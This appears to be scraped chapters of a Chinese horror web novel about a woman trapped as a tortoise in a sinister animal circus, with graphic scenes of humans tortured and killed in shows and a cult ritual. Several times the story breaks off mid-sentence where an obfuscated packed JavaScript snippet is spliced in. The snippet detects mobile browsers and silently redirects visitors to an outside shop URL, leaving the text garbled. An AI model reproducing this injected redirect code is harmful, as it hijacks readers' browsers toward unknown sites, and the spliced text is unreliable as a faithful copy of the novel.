老虎先是朝蟒蛇颔首表示抱歉,然后说了点什么,蟒蛇点了点头后,便转身离开了。随后老虎叼起八哥,离开了时望的视线。 看完乐子后,时望终于能够看一下契约纸与抽屉里的信了。 契约纸上仅有三条规则,再怎么细读也用不了多长时间。这三条规则无非就是告诉时望,她是个叛徒,而且还和三名叛徒同伴一起谋划了特别行动。 时望猜测,不出意外的话,这个茧里应该还有别的人,但她不知道这是好事还是坏事。 万一离开这里的要求是与所有的同伴汇合,那么这时候茧里的人越多就越难以完成集结。 看完这份没几个字的契约纸,时望嫌弃地折起契约纸放到抽屉里,谁让她现在是个没有任何口袋的大乌龟。 然后时望拿出了疑似是感谢信的纸条,沿着折痕打开。纸条上的文字就像是蚯蚓乱爬出来的一样,时望从未见过这种字体。 但就和莫名能听懂动物语言一样,时望也能看懂信上的动物文字。 然而纸条的内容似乎不止是感谢信这么简单。 [致2021: 这里是1209、1801与0209,上次的信件我们均已查悉。 非常感激你主动揽下此重任,我们也相信你一定能够圆满完成。届时,我们就以你的信号为令,按计划开始行动。 我们为你准备了一点你会用得上的东西,就在老地方,请及时查收。 正义终将胜利! 保重!] 这封信好像说了很多,又好像什么都没说,时望迫切希望谜语人和谜语动物滚出她的世界。 如果这封信不是大乌龟原身偷来的,那信上的2021应该就是时望,其余1209、1801与0209就是她素未谋面的小伙伴。 这群背叛者一起谋划了一个行动,而时望要做的事情是行动的第一个环节。 她的小伙伴们还把一些可能很有用的东西放到了她完全不知道在哪的老地方。 规则本来就不全,再加上这么一份扑朔迷离的谜语纸条,时望只觉得当一只纯粹的乌龟挺好的,当人可真是烦。 太阳已升至正高空,一阵锣声自远处传来。 时望看到陆陆续续的有动物往锣声传来的方向走去,大致在帐篷的右边。一条鹅卵石路从大门开始,经过时望的占卜摊,延伸至园区更深处。 此时,那只把时望喊醒的乌鸦从时望的帐篷前经过,跟随着大部队走去。 乌鸦在开心人戏团的岗位应该和八哥一样,是个门迎。八哥倒下后,它接替八哥的工作在门口迎宾。 时望想起她刚来时,无意中得罪了乌鸦,赶紧快步赶上乌鸦。 “乌鸦小姐,你这是去哪啊?”时望看似没话找话地问道。 乌鸦小姐对时望的话不做回应。 看来还在生气,时望想。 本来就是时望的错,她诚恳地道歉:“乌鸦小姐,对不起。今天早上我睡得迷迷糊糊的,不是故意装睡的。非常感谢你来叫醒我。” “你飞得累不累啊,要不上我的龟壳来休息一下?”时望推出免费的打车活动。 乌鸦小姐原本就不是很生气,时望道歉后它就已经完全消气了,所以它没拒绝时望的讨好。 乌鸦徐徐落到时望的龟壳上,骄矜地回应时望的道歉:“我才不在意你是不是装睡呢。” 它用喙梳理一下羽毛后,嘱咐时望:“乌龟小姐,你可要走快一点。我听说今天的食堂有新鲜的菜式,去慢了可就没了。” 时望忙声应好,然后提高四个粗壮的小短腿迈步频率。 原来那个锣声代表开饭了。 时望随大流走,直至鹅卵石路的尽头,她看到一座比她的小帐篷大至少十倍的红帐篷。大家陆陆续续地走进去,时望也不例外。 红帐篷内没有任何基础设施,除了中央处有好几个生肉块堆成的小山,和一些水果外,和时望家徒四壁的帐篷没什么区别。 乌鸦小姐到达目的地后,就径直飞往肉块堆了。 时望闻着大量生肉发出的腥臭味,实在不愿意往生肉堆凑过去。但为了防止显得不合群,她往水果堆走去,叼着几个水果就走开了。 其它动物都是叼着一块肉就在帐篷内三五成群地聚在一起进食。时望大致扫视了一圈,这里大概有20个动物,基本没有相同的物种。 乌鸦和八哥应该是开心人戏园里为数不多的同为鸟的员工。时望觉得,大概是为了凑够一对外貌近似的门迎吧。 绝大部分动物都在吃肉,即使是时望印象中的草食动物黄牛也在吃肉,只有时望和一只大白兔拿了水果。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729486|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大白兔和时望的人形差不多高,粗壮的后腿一蹬应该就能蹦好远,它的两腮鼓鼓囊囊地嚼着水果。 时望不着痕迹地观察片刻后,便移开了视线。 现在还不知道大白兔是纯粹的素食主义者还是出于别的原因不吃生肉,没确定之前最好不要打草惊蛇。 找到乌鸦小姐的身影后,时望朝它走去,试图在进食时套多一点信息。 “乌鸦小姐,新菜式好吃吗?”时望在乌鸦身边站定,随意地抛出一个话题。 乌鸦放下嘴里的生肉,用喙推一下它面前的肉块,说道:“好吃的,就是肉质不够紧实,口感差了点。” “不过我听老黄牛它们说食堂很少有这种新鲜的腿肉,我还是不抱怨了吧。”乌鸦叹了口气,说是不抱怨实则还是在抱怨。 时望看着被它推动的肉块,小小的眼睛里透露出大大的无语:你们管这叫新菜式? 听乌鸦的说法,似乎乌鸦只是新员工。时望为了不暴露自己并非原住民的身份,故作高深道:“确实很少见。” 乌鸦小姐看着时望叼着的水果,疑惑道:“那你为什么只吃水果啊?” 时望张嘴就来:“昨天不知道吃到了什么了,有点拉肚子,现在胃口不太好。” 乌鸦小姐很真诚地为时望惋惜:“那真是可惜了。” 不可惜,一点都不可惜,时望暗自吐槽。 “乌鸦小姐来团里这段时间还习惯吗?”时望啃完水果后,又开始套话了。 乌鸦小姐咽下肉块后,无所谓地说道:“我才来一天,谈不上习不习惯的。” 刚来一天,那时望可放心多了。 时望做出一副大前辈的样子:“没关系,迟早会习惯的!有什么不知道的事情都可以问w……大家。” 嘴紧急转弯,时望知道的事情不比乌鸦多,真被问起来很容易露馅儿。 乌鸦感激地点点头,鸟生地不熟的地方遇到主动向它伸出援手的动物,不可谓不感动。 饭后,乌鸦询问时望接下来的去向:“乌龟小姐,你要回去摊位上休息吗?还是要去别的地方?” 原来还可以去别的地方。 时望回应道:“我想先到处走走消消食,你呢?” 乌鸦的喙指着大门的方向,说道:“我想回去休息一下,今天顶替八哥的班,有点累了。” 时望点点头,一龟一鸟便就此分开。 时望不知道园区里有没有什么不可触碰的禁忌,便沿着有路的地方龟速溜达。 转悠了个半小时,她才大致了解整个园区的布置。 她的摊位和大门在园区的西南边,食堂在西北边,园区正中央时一片空旷的广场,还有一个简易的舞台,正北边是个展演厅,东边有一个人工湖,湖边有一大片米粒大小的小黄花,时望觉得还挺好看的,南边则是一栋不知道干什么用的楼。 简单逛了一圈后,时望便准备回自己的小帐篷,然后她大老远的就看到大河马和小河马站在她的摊位前,似乎在等她。 时望眨巴了一下豆豆眼,暗想自己冒充神棍的事情居然这么快就被发现了。 13. 开心人戏团(4) 时望本想立马转身离开,避一下风头,但大河马明显已经发现她了,远远就招呼时望:“乌龟小姐!” 眼见是躲不过了,时望只好慢悠悠地往自己的小帐篷走去,边走边思考该如何应对。 “河马女士,请问有什么事情吗?”时望保持着良好的服务态度。 大河马眼含热泪地看着时望,激动地说:“乌龟小姐,我真是太感谢你了!” 时望:? 大河马颠了一下背上的小河马,满眼都是开心:“我的孩子它刚刚愿意下水了,而且还在水里玩得很开心呢!” 时望怀疑小河马是故意的,专门捧杀她。 但是时望也有点好奇小河马是怎么突然就愿意下水了,所以仔细问了一下事情的经过。 事情是这样的。 在东边的湖旁,有一处摊位的表演内容是在蹦床上表演杂技。一轮表演过后,演员们休息,蹦床空置。 好奇心重的幼崽们看到蹦床自然心动,陆陆续续地就有一群幼崽在蹦床上玩耍,小河马也在其中。 动物的幼崽们还没完全学会控制自己的肢体,所以玩起来没轻没重的。大幅度弹动使不少幼崽掉到蹦床之外的地上以及湖里。 掉到地上的幼崽爬起来抖一下毛去灰尘,就继续爬回蹦床上了,而掉进湖里的幼崽,则会被湖里的鳄鱼员工叼着抛回蹦床上。 湖里的鳄鱼员工相当于救生员,负责将不慎落水的动物游客带回岸上。 今天不太走运的小河马第一次掉进湖里后,就被热心的鳄鱼捞起,不由分说地扔回蹦床上。然后再从蹦床上掉到湖里。 这个过程重复了6次。 第7次落水后,小河马使劲蹬水远离了鳄鱼,向鳄鱼表示它能在水里照顾好自己,避免被扔到蹦床上再次高空落水。 短时间内经历了很多的小河马从湖里游回大河马身边,向妈妈表示自己已经不怕水了,它现在只想离开这个伤心之地。 时望对小河马的遭遇表示同情,但又觉得实在有点好笑。 她看向大河马背上的小河马,感觉它一时之间好像成长了好多。 大河马再次表达对时望的感谢:“乌龟小姐,以后我都会把喜爱票投给你的!” 时望自然接受了它的好意,毕竟运气也是实力的一部分。 送走河马母子后,时望拿出契约纸和小纸条。刚刚吃饭时,她大致了解园区内的员工物种,对那三个小伙伴的身份有了初步的想法。 让时望意外的是,契约纸左边的情绪能量值从0变为2了,并且就在时望看到情绪能量值的半分钟后,右边的规则多了两条。 情绪能量值又归0了。 看来是自动兑换了。 时望回想今天的经历,猜测这个情绪能量值的获取机制。 今天与她有交流的动物只有两个,一个是乌鸦,一个是河马。它们做过相同的事情就是,都对时望表达过感激。 而在时望获得契约纸之前,时望也曾接受过李娟与公司同事的感激,与当时数值是3的能量值相吻合。 大致摸清异能的使用机制后,时望便看向右边新增的两条规则。 [4.早上听到三声鸡鸣后,请立即前往中央广场参与每日员工动员会。 5.一张喜爱票可以抵消一次游客投诉。] 这两条规则都很好理解,时望记下后便把契约纸放回抽屉里,取出小纸条,仔细端详三个背叛者的代号。 今天在食堂里,时望对开心人戏团的员工物种有了大致的了解。基于此,她对这三个小伙伴的身份有了初步的猜测。 时望思考时,总会下意识地动起来,有时候是转笔,有时候则是在一个地方来回走动。 现在她就在她的小帐篷里来回踱步,当她第三次经过帐篷左上角时,紫色的帐篷地面上一抹浅浅的黄色将她从沉思的状态里拉了出来。 是几朵米粒大的小黄花,上面还带着一点泥土。 只有这个帐篷的主人,也就是大乌龟会进入到这个角落。 今天刚到这里的时望一直走在鹅卵石路上,不应该会沾到这么多的泥土。 最大的可能就是以前的大乌龟去过湖边,将这些小黄花带到了这里。 虽然这不算一个十分确凿的证据,但也是“老地方”可能的所在地,值得一去。 时望一阵头脑风暴后,园区里也开始热闹了起来,看来是下午开摊的时间到了。 有了成功的案例在,时望对占卜师这份工作可谓是信心满满,甚至还借工作之便,为自己的情绪能量充能。 她要求每一位动物客人,在占卜前要真诚地向神明与作为神明使者的她道谢。 然后每一位客人得到的占卜结果都是不好说,不便说或者不可说。 客人再追问,时望就指责客人心不诚,导致神明不愿意指点它。 每位客人都被忽悠得恍恍惚惚地离开了时望的摊位。 时望获得了情绪能量,客人获得了一次反迷信教育。所以时望坚定地认为这是一个双赢的买卖。 太阳落山时,时望共获得了7位动物客人真诚的感谢,契约纸上的情绪能量值也从0变为了7。 剩下的规则在情绪能量兑换后,逐条铺开。 [6.秃鹫小姐会在狂欢节当天来到开心人戏团,为团长找出不忠的员工。 7.团长讨厌被游客投诉的员工,前一天累计获得最多投诉的员工将成为最差劲员工。团长每天都会在动员会上公布前一天的最差劲员工。 8.猫头鹰女士认为夜不归宿的员工都是不忠的员工。 9.天黑后请前往展演厅观看演出,团长希望员工无论在台上还是在台下,都能积极带动观众情绪。 10.开心人戏团采取末位淘汰制,最差劲员工将会被逐出园区。 11.与所有背叛者一起按计划完成特别行动后,即可离开这里。] 共6条规则,情绪能量还剩余1点,这个茧里的所有规则都齐了。 信息量很多,其中比较重要的信息有能力未知的秃鹫小姐和开心人戏团执行的末位淘汰制。 以及与时望预想的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734507|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,需要所有背叛者汇合才可以离开这里。 如果其他背叛者在执行行动之前,被逐出园区,那时望就再也无法离开这里了。 时望抿了抿嘴,命运被拿捏在别人手中的感觉实在是不好受。 放好契约纸之后,她按规则所说,准备动身前往表演大厅当一个气氛组。 黑夜中的展演厅入口处,一群训练有素的萤火虫在半空中组成“开心人戏团展演厅”八个字,引导观众走到正确的地点看表演。 展演厅的最前方是一个豪华的舞台,舞台上有着纤细的钢丝和杂技会用到的架子、柱子。 观演台有三层,大约可容纳上千个动物。时望进入展演厅时,室内已有四五百只动物分散在每一层。 每个动物都会选择适合自己的位置,比如长颈鹿、鸵鸟等高个就会呆在第三层看演出,蛇,蜥蜴等爬行动物就会在第一层。 动物园里的动物种类跟这里比简直就是小巫见大巫。 即使是天敌的动物呆在一起也相安无事。 一切都井井有条。 也就在这时,时望对开心人戏团的违和感到达了巅峰。 这个园区表面平和的面具下,似乎有不少暗流涌动。 时望随意找了个第一层的位置趴着,等待演出开始。她的左边是一只不停用黑色舌头舔嘴的蜥蜴,右边是一只体型比猫都要大的老鼠。 时望落座后不久,表演便开始了。 一只红色皮毛的狐狸直立行走到舞台中央,对着话筒激情地喊道:“观众朋友们,大家晚上好!” 时望记得她出地铁时看到的那张诡异海报上踩着人的狐狸也是一只红狐狸。 紧接着红狐狸介绍自己:“我是开心人戏团的团长,也是本次展演的主持人!” 原来红狐狸就是团长,时望眨了眨眼。 这时就能看出台下的气氛组的作用了,红狐狸话音刚落,展厅内就响起一阵响亮的掌声。 随后红狐狸便开始介绍即将表演的第一个节目:“今晚,我们的第一个节目是由老虎副团长、狮子驯人师和黑熊驯人师带来的驯人表演!大家期不期待!” 台下的声浪一阵又一阵,所有观众都在热情回应团长。 红狐狸下场后,时望早上见过的副团老虎,一只雌狮还有一只黑熊逐个上台。向观众致意后,老虎和雌狮分别叼起鞭子,而黑熊直接用熊掌拿起一根细长的皮鞭。 然后有五个衣衫褴褛面色灰败的人类走上台,其中老虎和雌狮的身边分别站着两个人类,剩下一个人类在黑熊身边。 观众明显兴奋起来了,台下的讨论声大了不少。 只见老虎咬着鞭子往身旁的两个人身上挥去,他们的身体上便出现一条显眼的鞭痕,覆盖在众多陈旧的伤口之上。 挨打的两个人表情麻木,似乎根本感觉不到痛,只是机械地走上横截面只有硬币大小的柱子保持平衡站定,稍微晃一下就会再挨一鞭子。 时望低下了头,她的四个爪子在地上抠出了浅浅的印子。 怪不得这里叫人戏团。 14. 开心人戏团(5) 老虎鞭下的两个人在柱子上堪堪站稳时,狮子也开始有所动作了。 它咬着鞭子狠狠地挥向身旁的两个人,鞭子落到地上扬起一阵灰尘,在舞台的射灯下飘扬落下归于平静。 时望缓缓地眨了一下眼,如果她没看错的话,刚刚那一鞭虽然阵仗很大,但没有打到人的身上。 狮子,时望心里默念这两个字,前脚的一个趾头轻点着地面。 即使没被鞭打到,那两个人还是顺从地往高架上爬,直到在一个约10米高的平台处停下,然后自己给自己安装好安全绳。 时望看着那两条拿起来就扬起一堆灰尘的绳子,心里已经对这个绳子的防护作用不做任何期待。 待高台上的二人都安装好安全绳后,狮子放下口中的鞭子把手,朝高台上的二人大吼。 狮吼并不比虎啸弱势,台下的喧闹声甚至被震得停了一瞬。 高台上的二人闻声径直跳下高台,以安全绳为半径做圆周运动,往十几米远的另一个高台荡去。 在半空中,他们还需要做出翻滚、转身、双人配合等高难度动作。着陆后,还要原路返回到出发的高台。 然而就在返程时,那条看着就很不可靠的安全绳果然出幺蛾子了。 其中一个人的安全绳在返程时毫无征兆地断了,他失去牵引的躯体连带着一段残余的绳子,从高空重重地坠下。 他的身体在坚硬的舞台地面上绽开出一片鲜红,“砰”的一声传达到展演厅的每个角落。 展演厅在一瞬的寂静后,便迎来了一阵激烈的喝彩声,在场的观众能鼓掌的鼓掌,不能鼓掌的,也会极尽所能的发出兴奋的吼叫声。 在那个人从半空中即将坠落到地面上时,时望就低下了头移开了视线。 一般来说,在普通的马戏团演出里,无论是人类演员还是动物演员犯了错误,现场的观众都会比较包容,至少是不会喝彩的。 但是这里的观众似乎尤其的嗜血,鲜血与生命的破碎,反而更能调动他们的情绪。 不像是马戏团,更像是斗兽场。 舞台上的人类尸体并没有影响接下来的演出,甚至都没有员工上去清理一下尸体。 没多久便有一个人补上了逝者的位置完成了接下来的表演,所幸这回安全绳坚持到了最后。 高空表演结束之后,黑熊那边也准备完成了。 黑熊将它身旁的人赶到高台上,不同的是这回黑熊和人一起上了高台,在一根细细的钢丝面前站定。 随后那个人仅拿着一根棍子,没有任何防护措施就走上了钢丝。 时望眯着眼睛,看来黑熊的节目就是驯人高空走钢丝。 就在那个人走钢丝的同时,黑熊还会用脚踏着它这一端的钢丝,不停地上下摇晃。 钢丝上的人则尽力辅助平衡棍保持平衡,黑熊见状,踩踏钢丝摇晃的幅度更大了。 无论钢丝上的人技艺再怎么精湛,这都仅仅是一根纤细的钢丝而已,在剧烈的摇晃中,他还是从高空中唯一的落脚点上往下坠落。 如同那个安全绳断裂的人一般,在舞台上绽开了第二片鲜红。 现场气氛更加热烈了,观众毫不吝啬地将一阵又一阵的喝彩声送给还在高台上的黑熊。 黑熊也接收到了观众的好意,在高台上朝观众鞠了一躬,然后对下一个走钢丝的人再重复之前的做法。 一个,两个,三个。 舞台上再也找不出一块干净的地方后,黑熊似是玩腻了这个把戏,第五个人走钢丝时没受到来自黑熊恶意的干扰,有惊无险地走完了全程。 老虎,狮子和黑熊共同向观众致谢后,就走下了舞台。 今晚的第一个节目可算是结束了。 时望抬起前腿,试图擦拭溅到她头上的血,又因为腿太短够不到,只好无奈地甩甩头。 红狐狸再次上台报幕,它对地上的尸体、鲜血以及迸溅的器官视若无睹,笑意盈盈地说道:“大家喜不喜欢今晚的第一个节目!” 得到热烈的反馈后,红狐狸一点都没拖沓,迅速地报出第二个节目:“今晚的第二个节目,是兔子魔术师给大家带来的魔术表演,大家掌声欢迎!” 在大家的欢呼声中,时望中午看到的素食主义者——大白兔头戴着一顶高礼帽,一蹦一跳地走到舞台中央,施施然地朝大家行脱帽礼。 随后,它不知从哪掏出一根手杖,整个身体斜倚着手杖,指着后台耳朵一耷拉一竖立,似是在控诉红狐狸没在舞台上给它安排坐的地方。 大白兔滑稽的动作引来了稀稀拉拉的笑声,现场因过于兴奋而紧绷的气氛缓和了下来。 它就着斜倚在手杖上的姿势,向观众展示帽子里什么东西都没有,然后将高礼帽帽沿朝上托着。 另一个空闲的爪子在礼帽中作掏东西状。 片刻后,大白兔的表情一松,两瓣嘴露出一个笑容,在掏东西的爪子也停止了动作。 它从帽子里掏出了一个人手掌,一个断面还在流淌着鲜血的手掌。 大白兔看到手掌时愣一下,然后就把手掌当烫手山芋飞速地扔到舞台上。 时望清晰地看到大白兔眉间快速地皱了一下,她直觉大白兔不知道帽子里会掏出人体残肢。 台下的观众显然非常吃魔术表演这一套,掌声如潮,大家并不在意大白兔不合常理的举动。 时望轻叹一口气,看来她的小伙伴对魔术师这个岗位适应得不是很好。 表演还在继续,大白兔再次把手放进帽子里,只是这回它的表情沉重了不少,也不再故作轻松地倚着手杖了。 大白兔停下了寻找的动作,它先是低头往帽子里看一眼,看到内容物时微微睁大了眼,整理好表情后,才将帽子里的东西拿出来。 这回是一只人脚,平整的横截面里腿骨清晰可见。 这只脚刚离开帽子,就被大白兔很嫌弃地扔到远处的舞台上。大白兔思索了一下,拿过脚的爪子在鼻子前上下挥动,似是在说那个脚有味道。 观众被它的动作逗乐了,甚至还有一两个动物在高声喝彩。 从进入展演厅开始,精神就高度紧张的时望也跟着轻笑出声,看到有同伴也在努力生存的感觉似乎也不错。 大白兔从帽子里掏出的第三个东西是一个人头,这个人头上的脸还很稚嫩,双眼紧闭,脸色苍白。 时望见过这张脸。 这张脸的主人是同和街道办事处二楼那个穿着粉色裙子小姑娘,时望依稀记得她的名字叫宋况。 时望上一次见到她时,她正鲜活地和短发女子叽叽喳喳地说着什么。 不止时望一个龟惊讶,台上的魔术师似乎也大吃一惊,鲜红浑圆的眼睛里满是不可置信,嘴唇不停地颤动。 台下的气氛被带到高潮,热烈的喝彩声似是要掀翻屋顶,仿佛那个头的主人死得大快人心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13739022|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大白兔收拾好情绪后,没像上两次一般把人头扔出去,而是弯下腰将人头轻轻地放到脚边。 直起身时,它又是一个滑稽可爱的兔子魔术师了。 接下来的魔术表演无非是从各种东西里拿出人体碎片,或者在原本空空如也的箱子里大变死人。都是一些对人类充满恶意的戏法。 满足了观众们猎奇的胃口后,大白兔身心俱疲地退场,退场时还不忘收拾那一地的残肢。 但是时望觉得它只是想将混在残肢中的人头带出舞台而已。 时望的趾头有一搭没一搭地抠着地面,心想该找机会和同伴相认了,这里不宜久留。 这个茧对人类充满了扭曲的恶意。 现实里人类用龟壳问卜,这里的乌龟是个占卜师,用人头骨做占卜。 经常被人类训练做杂技表演的狮子老虎熊,在这里是驯人师。 人类魔术师会从高礼帽里提溜着兔子的耳朵扯出一只兔子,这里的兔子是个魔术师,能从高礼帽里变出各种人体碎片。 时望猜测大白兔应该认识那个人头的主人。如果这个猜测成立的话,那接下来的时间里,时望也许会不经意间看到自己的尸体。 这不利于时望对人类身份的自我认可,一旦放弃了为人的认知,那她应该就会彻底被茧同化了,就像她之前差点成为李娟了一样。 接下来的表演也跟前面的两个节目类似,都是人类与动物的地位置换的荒诞演出,比如人类钻火圈,大象踩在七八个人身上等等,看到最后时望都有点犯困了。 时至深夜,舞台上积累了十几个尸体,早已看不出舞台地面原本的颜色。 红狐狸走上舞台,踏着满地的鲜血走至舞台中央,激情不减地呼喊道:“今晚的节目精不精彩!” 台下一呼百应,震耳欲聋的“精彩!”让红狐狸很是满意。 “接下来就是最后一个节目了!也是我们开心马戏团建立的初衷!开心表演!大家期不期待!”红狐狸兴奋得声音都在颤抖。 观众显然比红狐狸更兴奋更期待。 然后红狐狸摆了摆手,就有工作人员将一个人送到舞台上,让她站在红狐狸一米远的身后。 这个人的赫然长着时望的脸,就连眼下的痣的位置都一模一样。 她和之前舞台上人类一样,衣衫褴褛,全身遍布大大小小的伤口,神情麻木地面对观众恶意地打量。 时望深吸一口气,强迫自己不再去看和自己长得一模一样的人。 此时,老虎驮着一个黑丝绒长盒走到了红狐狸跟前,红狐狸拿下盒子,从里取出一根权杖。 权杖通体漆黑,顶端是一个雕刻精良的黄金心脏。 红狐狸右手拿着权杖往地上一笃,高声喊道:“让我们一起来赞美伟大仁慈无所不能的祂!” 观众神情痴狂,纷纷响应红狐狸的呼吁:“赞美伟大仁慈无所不能的神!” 时望感觉这就像一个邪教传教现场。她嘴里轻哼好运来,脑子里使劲回忆好运来的歌词,完全不让这些所谓的赞美入脑。 红狐狸再次一笃权杖:“忠诚的信徒将最随您至灵魂的尽头,仁慈的神啊,请接受我们的心意吧。” 话音刚落,时望只见权杖顶端的黄金心脏红光一闪,舞台上的所有人类胸膛处都破开了一个巨大的口子,心脏自胸膛的裂口中缓缓升起。 这些心脏里,也有和时望共用一张脸的人类的一颗。 15. 开心人戏团(6) 舞台上的“时望”失去了心脏,本就没什么血色的脸庞更添一丝颓态。她抬起左手轻触胸口处的致命伤口,不可置信地看着粘满血的手心,黑沉沉的瞳孔终于失去最后一点生机。 “砰”的一声,红狐狸身后的“时望”倒下了。红狐狸闻声,嘴角的笑意更甚。 台下的乌龟时望看到台上的人类“时望”倒下前不甘的目光,心脏猛地一紧,仿佛被人攥紧了一般。 时望抿了一下嘴角,看来台上的“时望”和她本人的关系不仅仅是长得像。 舞台上还能站着的生物只有红狐狸了,十几个人类横七竖八地倒了一地。对应的十几颗心脏悬浮在半空中,在场所有观众虔诚地瞻仰这一神迹。 权杖上,黄金心脏散发的红光闪烁着笼罩在每一颗心脏上,仿佛下一秒就要把所有心脏吞噬。 红狐狸读懂了权杖闪烁代表的信息,只见它抬起左手,极具煽动性地说:“神听到忠诚的信徒的呼唤,祂即将降临,安抚每一个不安的灵魂,向仁慈的祂祈祷吧!” 在场的所有动物都闭上眼低下头虔诚地祈祷,嘴里念念有词。 时望自然不会听狐狸念经,她把头缩到龟壳里,只留了一个可以看到舞台的小缝隙。 黄金心脏红光的闪烁频率更高了。时望在龟壳里窥见红光自舞台上流淌至观众席上,幻化为柔软的触手,将每一个正在祈祷的动物缠绕一圈又一圈。 除了没有祈祷的时望和红狐狸,其它所有动物都被红色半透明的触手包裹得严严实实。 时望把头再缩进龟壳里一点,努力降低自己的存在感,而红狐狸则低着头,神色晦暗不明。 触手在无知无觉的动物身上吸取出一滴深红色的凝胶状不明物质,并将不明物质输送到黄金心脏上。每吸收多一滴不明物质,黄金心脏上的血管就延长一大截。 没过多久,早已曳地的血管停止生长了,它摇摇摆摆地晃到最近的心脏旁,血管口对准还悬浮在半空的心脏,无声且迅速地把心脏吸了进去。 血管壁包裹着心脏,形成一个小鼓包。小鼓包沿着血管一路到达黄金心脏,伴随着闪烁的红光和蠕动的黄金心脏,小鼓包再无踪影。 如法炮制十几次后,舞台上的心脏全都被黄金心脏吸收,缠绕在动物身上的触手也停止输送不明物质。 血管摇曳着逐渐缩小缩短,变回原本安分的样子。触手恋恋不舍地解开捆绑,也回到了黄金心脏上。 目睹了这一切的红狐狸微眯着眼,待一切重回平静后,它又恢复方才活力十足的模样。 “祂已经听到信徒的心声!但祂并不期待你们的回报,你们诚心诚意地接受祂的仁慈吧!” 时望不是很懂就听个声,怎么就仁慈了。但显然,其它观众不是这么想的。 又是一阵震耳欲聋的欢呼。 红狐狸收起权杖,向观众谢幕:“今天的演出到此结束!感谢大家的捧场,明天的狂欢节我们开心人戏团精心准备了更多更精彩的节目,请大家拭目以待!” 时望的趾头又在轻点地面,狂欢节。秃鹫小姐明天就要来了。 红狐狸在舞台上注视着所有观众退场,时望找不到机会爬上舞台检查尸体,只好暂时作罢。 时望回帐篷时,正好看到有员工关上大门。她想起关于猫头鹰女士的规则,用词暧昧到让她觉得,违背了这条规则也什么大不了的。 但今天就算了吧,初来乍到,接受到太多信息轰炸,时望感觉自己需要休息了。 深夜,风吹过帐篷响起簌簌声,一些细碎的脚步声就这么隐藏在风声里,经过时望的帐篷,湮灭在南边的大楼前。 第二天。 阳光透过帐篷的缝隙洒到厚重的龟壳上,时望悠悠转醒。 她从龟壳里伸出自己的头和四肢,在阳光里张张爪子,感受到毫无温度的阳光后,轻叹一口气。 阳光就是茧和现实的锚定物,一夜过去了,她还是一只大乌龟。 时望还没惆怅多久,便听到了三声鸡鸣。走出帐篷门外,隔壁的乌鸦小姐正准备启程飞往中央广场。 时望道了声早后,继续推广免费打车服务,有一搭没一搭地和乌鸦聊着。 “乌鸦小姐,你听说过秃鹫小姐吗?”时望打了个哈欠,看似不经意地问道。 乌鸦思索片刻后,不太确定地说道:“我还在森林时听说过一点,据说它对谎言非常敏感,从来没有动物能在它面前撒谎。” 时望刚打完哈欠,眼睛水汪汪的。她对乌鸦的话并不算意外,团长打算用测谎仪来找背叛者是非常合理的。 但此时她有更在意的事情。 时望的眼睛眨巴一下,终于找到了不会暴露的提问方式:“唉。” 乌鸦小姐听到时望无故唉声叹气,问道:“乌龟小姐,你怎么了?” “忽然有点紧张,不知道今天的最差劲员工会不会是我。”时望忧愁地说道。 新员工乌鸦小姐也想起这么一茬事,也被时望带着紧张起来。 “呜呜呜我不想回到森林里了,这里有吃有喝的,还不用担心被捕食。”乌鸦情绪有些激动。 时望在园区里呆了一天,确实没见过任何弱肉强食事件,大家都能和平相处。 所以被逐出园区指的是,动物要从食物充足,能遮风挡雨的园区回归森林,要重新面对食物链上的竞争。 这个园区里是怎么保证天敌之间不发生捕食与被捕食事件的呢? 眼看着就要到达中央广场了,时望将这个疑问暂时按下。 红狐狸站在简易舞台上,见员工基本都到齐了,便开始每日动员会。 “我们就按照惯例,先公布昨天的最差劲员工。”此时的红狐狸气质沉静,精明的目光扫量着台下每一位员工,和昨晚热情奔放的红狐狸完全不同。 “昨天累计有二十五起游客投诉事件。” “其中二十四起是因为门迎八哥对蟒蛇先生非常失礼,对该游客造成巨大的身体伤害和心灵创伤,并且八哥被指有种族歧视嫌疑,被其它二十三位蛇类游客联名投诉。” “剩余一起投诉,是演员大象去食堂的路上踩死了蚂蚁一家,被蚂蚁先生年迈的老母亲发起投诉。” “八哥和大象都未曾收到过任何喜爱票。所以,八哥是今天的最差劲员工。动员会完毕后,请八哥自行离开园区!” 时望感觉这倒霉八哥真是倒霉到家了。她环视广场,没找着八哥的踪影,连一根鸟毛都没见着。 红狐狸继续宣布处罚:“另外,大象的行为性质过于恶劣,在此对大象做出惩处。今晚园区闭门后,园区的清洁由大象独自完成。” 评完昨天的工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 